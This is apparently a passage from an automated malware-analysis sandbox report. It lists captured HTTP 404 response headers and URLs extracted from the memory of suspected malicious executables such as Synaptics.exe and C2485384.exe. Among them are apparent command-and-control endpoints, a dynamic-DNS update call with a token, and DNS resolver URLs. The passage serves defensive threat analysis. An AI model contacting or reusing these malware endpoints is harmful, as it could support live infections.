Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:51 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-BaVTBsm8WsayJbPi_z5zpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOgCvd378vmqGctuoQ0Y3rnPbATom8Pz-CH16X4VXD-qOvillKG31bfPWGJI9Mq5GcDmGAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:51 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-lCnda4ZvrZX5_Rb_dUrO6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNpKUDmWWMSUyXrf7rXwKmzBeet-wuf3prAXiuRgtAFSpgOKXIaTP5GL_WFQETs05VxAjVf4XxCigServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:54 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-aKKW0bdxjDqfILZ9wVb2Pw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPUYPraM5Jv3fNOL7quKY7SVgvBWpuHEyZ7_XulJc83Sqf43436vQ1052ELdDI8SYzq0wMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:55 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4ZcMH9HEj_9hTOiygFdCxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPZAkGh_GF1vOUHGXwuAUKIWpndffvXD9x2DR6I6gq5tQpDg5uYNwWZC3g58WOiRn5r0IP0Ft0o2QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:56 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-k_FwfLFQnO5eqko96VvtRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNlETxexndDPb_FzOQT6ST9Fm_tr_Bv8PdW9aETntcvkBUWyjg0oS8MTbc6w00rqalLeEEServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:00:56 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-rN8MbyM3N77qicanrjyT7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nNgP3vDomyCaNJEBQmn0LZbUnHQ0YET3jPQ8gO7mXOgdgsl3bEmB10o4RgJ559B4Iw9CcMServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 05 Aug 2024 10:01:07 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JsdVEe006W75zfJClCXRDw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nM26u-yTT1zNSinbZURANIslBNpbBMEVJC2e9lU8YntPQYenwiqNih-p5H4uW9SXU2P83UServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/http://time-ti
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://115.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://119.29.29.29/d?dn=
Source: Synaptics.exe, 0000000C.00000003.1523443387.000000000CBB7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1527533445.000000000C9D0000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr	String found in binary or memory: http://123.60.141.182/api/soft.aspx
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://182.254.116.116/d?dn=
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://223.5.5.5/resolve?name=
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://223.6.6.6/resolve?name=
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://588ku.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://beijingcs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ca800.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cli.im/
Source: Synaptics.exe, 0000000C.00000003.1523443387.000000000CBB7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1527533445.000000000C9D0000.00000004.00001000.00020000.00000000.sdmp, 2CE020xu.dll.17.dr, 5C55qqtun.dll.17.dr, 380BjggdZ.exe.17.dr	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://dcloud.net.cn/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://foodmate.net/
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.000000000052C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://guangzhoucs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://heyuancs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huadongcs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huanancs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://huhehaotecs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://iliangcang.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://iwencai.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp, C2485384.exe, 00000011.00000002.3809025725.0000000007BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kl.webzf.top
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kl.webzf.tophttp://kuilei.eno147
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://lusongsong.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://qingdaocs.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://shanghaics.oss-accelerate.aliyuncs.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://soso.com/
Source: svchost.exe, 00000008.00000002.3710480607.000002C118887000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://standards.iso.org/iso/19770/-2/2009/schema.xsd
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-nupgrajznn.cn-shanghai.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-wgfgnkosmo.cn-qingdao.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-wivqmpesvz.cn-zhangjiakou.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-time-xbdcaygxjb.cn-beijing.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://time-timeget-bkjjdrkcip.cn-hangzhou.fcapp.run
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://tower.im/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://w7000.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://wallstreetcn.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://wulancabucs.oss-accelerate.aliyuncs.com/
Source: svchost.exe, 00000008.00000002.3712659922.000002C119132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww1.3.36.3.3.2.8.1.1.14
Source: svchost.exe, 00000008.00000002.3712659922.000002C119132000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ww1.3.36.3.3.2.8.1.1.14brainpoolP512t1ECDHCryptOIDInfoECCParameters
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.10jqka.com.cn/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.1688.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.17173.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.18183.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.21food.cn/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.58pic.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.64365.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.7k7k.com/
Source: ._cache_3.exe, 00000005.00000002.1354872204.00000000005A5000.00000002.00000001.01000000.00000005.sdmp, C2485384.exe, 00000011.00000002.3960354144.000000006256A000.00000002.00000001.01000000.00000017.sdmp, C2485384.exe, 00000011.00000002.3711561876.0000000000495000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.9game.cn/
